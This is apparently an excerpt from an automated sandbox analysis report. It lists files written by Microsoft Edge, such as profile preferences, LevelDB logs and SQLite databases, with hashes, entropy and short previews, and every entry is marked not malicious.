SHA-512:	F85FDE7076AF5257B42F4E009732EA2BFB63E45804266B49D178C78E60F010BD1126DD8090E0CA3FFB539FF0C3B2C87A75D4CA345BF70493DFA4838FD40EC36F
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375824732589623","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375824732589623","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\48a1f685-d04c-47e3-a6a2-cac3f5f857ee.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11034
Entropy (8bit):	5.161565943030584
Encrypted:	false
SSDEEP:	192:sttekdpvs3ssZihUkss+wY4MReAex80JbV+FuOQwL66W1aFIMYJPZYJ:stteQvs3sfhuGEPOJbGfQwW6W1aTYE
MD5:	14F7B3B610590F61DF842F8283017A7E
SHA1:	95767947E250F91EB5BD6F80ED4BF4FEA004CF22
SHA-256:	9F317B503FBD716D6A1CC2A7DA1F4A0D2EFCF773914B7E8F702ACFE6FF0DE7EF
SHA-512:	85716E78CFAE46F1084DF55A43C9B37EA88F5FCB19DE3640505B9E60A5726CFE7FC890D0E5812EB1BDFAB96A0ABE5D3604D1B76BF5E3A0A7F4D56283D6544A7B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375824733241527","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4aeb813c-f794-40d5-8044-8d65d18efaf2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (14729), with no line terminators
Category:	dropped
Size (bytes):	14733
Entropy (8bit):	5.472979218983769
Encrypted:	false
SSDEEP:	384:stteQvs3sfhGA1GEPtgChMGrvJbGfQwW6WRlaTYE:sibsfpQEPQGrBbGoZraTYE
MD5:	88515460BA112E7B979E8D72746DDF03
SHA1:	E74BDF38578932CF2B283D7E8478BAF280B369C2
SHA-256:	9385B727944FF6BC82BDCAB1752ABC444708EAE1F801C9D6824C6F33D51FCAAF
SHA-512:	1EA0FAE0D31C6DADBCC026F2EE6796E06EA700FF63BB53B7670B7668DA16EE431A711F56DB32BC4A0F3DE8C45AB9E0E0CEE301A4AE300398768C23F0535BF4BB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375824733241527","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\58f87116-68b2-4e31-9769-4cfeb201d282.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.224852247205491
Encrypted:	false
SSDEEP:	6:HUMfUJdUwRM1923oH+Tcwtp3hBtB2KLlVUMfUJdjyq2P923oH+Tcwtp3hBWsIFUv:WTUkhYebp3dFLOTjyv4Yebp3eFUv
MD5:	53778017FA477F3EC0FA19528002ED89
SHA1:	F90DE38BB7B23E42C8A6B1DBBD39215BFA5545B3
SHA-256:	2B9D28FFF9CFD90C71A786AA5472B839FEB192A022D53ED70BAE51C43C9E0EBD
SHA-512:	55BEFDC82A139E4988CC178C5D8A86EB3EC6DCD83D953DCFA0D0ADD746138C23FADCD05A153FC765F5D883F8BE53528A93781FB2BC3FCC69289FAFD782BD9CE6
Malicious:	false
Preview:	2024/11/11-13:52:18.816 1f54 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/11-13:52:18.880 1f54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	480979
Entropy (8bit):	5.394837399954378
Encrypted:	false
SSDEEP:	3072:v+477TZyhJOGiMlbOFbXG/KFd2X13p8S15tndAYDI11csx4:v+4zZoOG1eLG/KKp8cdAYDI11csu
MD5:	3FA817732DF237494DCEE4CE966D7C10
SHA1:	698EA0020F00645A5B61114C5EC990B13C5DFADA
SHA-256:	6EB2639A3F07AB925D92CEBD90306A5F62DA3417A8E394F0A115FDAC864B4CF6
SHA-512:	3D9806BF621995ACD8E4209953E386093E163124EA5F25F27F7C074CC1895AD794EEE8DC9CE1A9902FBF55EFECB888821CF11FE63EFB58D1B7922FA5BDFC0874
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.112548550786369
Encrypted:	false
SSDEEP:	6:HUMfUJ/5L+q2P923oH+Tcwt9Eh1tIFUt8YUMfUJd62oKWZmw+YUMfUJdUZLVkwO1:Wdx+v4Yeb9Eh16FUt8BTaKW/+BTURV5s
MD5:	5BE647041109A298A86622AE66C0AD74
SHA1:	2937E24DBB0D235875D826421DE8676554774BEF
SHA-256:	643432C87AD448F006FA5D5E6565E3AA3B478583131B32E559AE4D77B3F8F68E
SHA-512:	D0A54D31CA5D4A6C06EECAA1E4ACA07C5DD7A1924CE7B0D941BF1BB75E413A26F6D4060A3BB3662104247CC4EA35886412F0A840D06467C78D54A4A6FB0D1EB1
Malicious:	false
Preview:	2024/11/11-13:52:18.798 223c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/11-13:52:18.801 223c Recovering log #3.2024/11/11-13:52:18.818 223c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.112548550786369
Encrypted:	false
SSDEEP:	6:HUMfUJ/5L+q2P923oH+Tcwt9Eh1tIFUt8YUMfUJd62oKWZmw+YUMfUJdUZLVkwO1:Wdx+v4Yeb9Eh16FUt8BTaKW/+BTURV5s
MD5:	5BE647041109A298A86622AE66C0AD74
SHA1:	2937E24DBB0D235875D826421DE8676554774BEF
SHA-256:	643432C87AD448F006FA5D5E6565E3AA3B478583131B32E559AE4D77B3F8F68E
SHA-512:	D0A54D31CA5D4A6C06EECAA1E4ACA07C5DD7A1924CE7B0D941BF1BB75E413A26F6D4060A3BB3662104247CC4EA35886412F0A840D06467C78D54A4A6FB0D1EB1
Malicious:	false
Preview:	2024/11/11-13:52:18.798 223c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/11-13:52:18.801 223c Recovering log #3.2024/11/11-13:52:18.818 223c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46302888532450037
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuyt:TouQq3qh7z3bY2LNW9WMcUvBuy
MD5:	D5416FCF61F6321ECB6618C3FDCB2D3D
SHA1:	5113D8C79F451702F0D324DB952CF4A90C963A92
SHA-256:	915C6E953EC94A192CDC05E1275F3954D8F505B7CB14763C53F73AA782003287
SHA-512:	B74B59485B6984D38BF6576EDC3903EAB79B6236C422FA6177B70E31BECBF6C63702C62BC050ACE83FF75F3945D71991C4E009387F995B230C6EB0316438E3A6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.178359264815723
Encrypted:	false
SSDEEP:	6:HUMfUbFq2P923oH+TcwtnG2tMsIFUt8YUMfUbQZmw+YUMfUbNFkwO923oH+TcwtB:WbFv4Yebn9GFUt8BbQ/+BbNF5LYebn9b
MD5:	DFA909C8D6B78B2E6EEDD96A0D9EF70F
SHA1:	E841DFAEFC6F0BAE04ABD11D6DF321FF2CC617F7
SHA-256:	8A637B8DC5D7AE206A9BD6C0C947A0237590B42BB2E6D0E710270DE22EB1FC95
SHA-512:	DE6CD7D08F50AA64F4D8B8F5146A6EF36191951546547827BAFE9DB79BD5D882E39A8F9121D4AB68854F80B1B7B47DB0AB02720C76853679234364F6D683B7BC
Malicious:	false
Preview:	2024/11/11-13:52:12.761 1d80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/11-13:52:12.761 1d80 Recovering log #3.2024/11/11-13:52:12.762 1d80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.178359264815723
Encrypted:	false
SSDEEP:	6:HUMfUbFq2P923oH+TcwtnG2tMsIFUt8YUMfUbQZmw+YUMfUbNFkwO923oH+TcwtB:WbFv4Yebn9GFUt8BbQ/+BbNF5LYebn9b
MD5:	DFA909C8D6B78B2E6EEDD96A0D9EF70F
SHA1:	E841DFAEFC6F0BAE04ABD11D6DF321FF2CC617F7
SHA-256:	8A637B8DC5D7AE206A9BD6C0C947A0237590B42BB2E6D0E710270DE22EB1FC95
SHA-512:	DE6CD7D08F50AA64F4D8B8F5146A6EF36191951546547827BAFE9DB79BD5D882E39A8F9121D4AB68854F80B1B7B47DB0AB02720C76853679234364F6D683B7BC
Malicious:	false
Preview:	2024/11/11-13:52:12.761 1d80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/11-13:52:12.761 1d80 Recovering log #3.2024/11/11-13:52:12.762 1d80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354144961137168
Encrypted:	false
SSDEEP:	6144:HA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:HFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	F57B33DBCCCF412DB0F14758CCA0BC46
SHA1:	9B24384BE3465F5FF4B43ED8CE49059202BC7648
SHA-256:	64FC7E28787CB81557E1295F5B521EA6B545B8D128DD91136240099CA619E1A5
SHA-512:	2168520F419B040C9135AB523C32BE7D50FD985C5EB7321ACB7ABF5C3F7821B56AB21831FC1B7CB00B177A8DECA8D624691459968D4E203175FF511D6273736C
Malicious:	false
Preview:	...m.................DB_VERSION.1D...q...............&QUERY_TIMESTAMP:domains_config_gz2...13375824740625249..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.1645758904162555
Encrypted:	false
SSDEEP:	6:HUMfUJdQWFHc1923oH+Tcwtk2WwnvB2KLlVUMfUsVkFMM+q2P923oH+Tcwtk2Wwp:WTQWlRYebkxwnvFLOikFMM+v4Yebkxwp
MD5:	EDA081E10D11CF4D98329A7BE8D82655
SHA1:	EBE036BADEC4FB5C415197FCB55718D22331D1F6
SHA-256:	89D7FC3D94A25CF6B0BDB3FA5FF08E08163A0210BD1C0EC97C2E87445A332FB0
SHA-512:	BCB67033388E9FB27ED0BF3975DE8998D1E66FE5AF0367E10F62A168B7B748F7C6EFE357672042D8E28B9891E1E087B9E7DA6C54051ADE7597C12178D8583B37
Malicious:	false
Preview:	2024/11/11-13:52:18.853 228c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/11-13:52:19.062 228c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324606422018509
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rn:C1gAg1zfvv
MD5:	59574B15E869F6FE2280B7F0CCB41BF1
SHA1:	FFAC06A7ED448763897FC93017193C9E3A6256EB
SHA-256:	E322435F8E42B29AAE4C4CB8F57838BE763EC64B2271095FF092D1B28DAE3E87
SHA-512:	1787D24AE9C17A1CC88C94C9F66973D9758CCBDB53E74945A334212F73FEA986187B36FDE65608C505417430FE544B84390E358F3C8C3CCC0EF7207A27B40240
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.134006858540201
Encrypted:	false
SSDEEP:	6:HUMfUbTSQH34q2P923oH+Tcwt8aPrqIFUt8YUMfUbTSvNJZmw+YUMfUbTSvNDkw4:Wb9X4v4YebL3FUt8BboJ/+BboD5LYebc
MD5:	A5CBA5932289587186C69884BE8426F1
SHA1:	ACB2CE8B6C6E5F3E427A77827DDF74A331524DA5
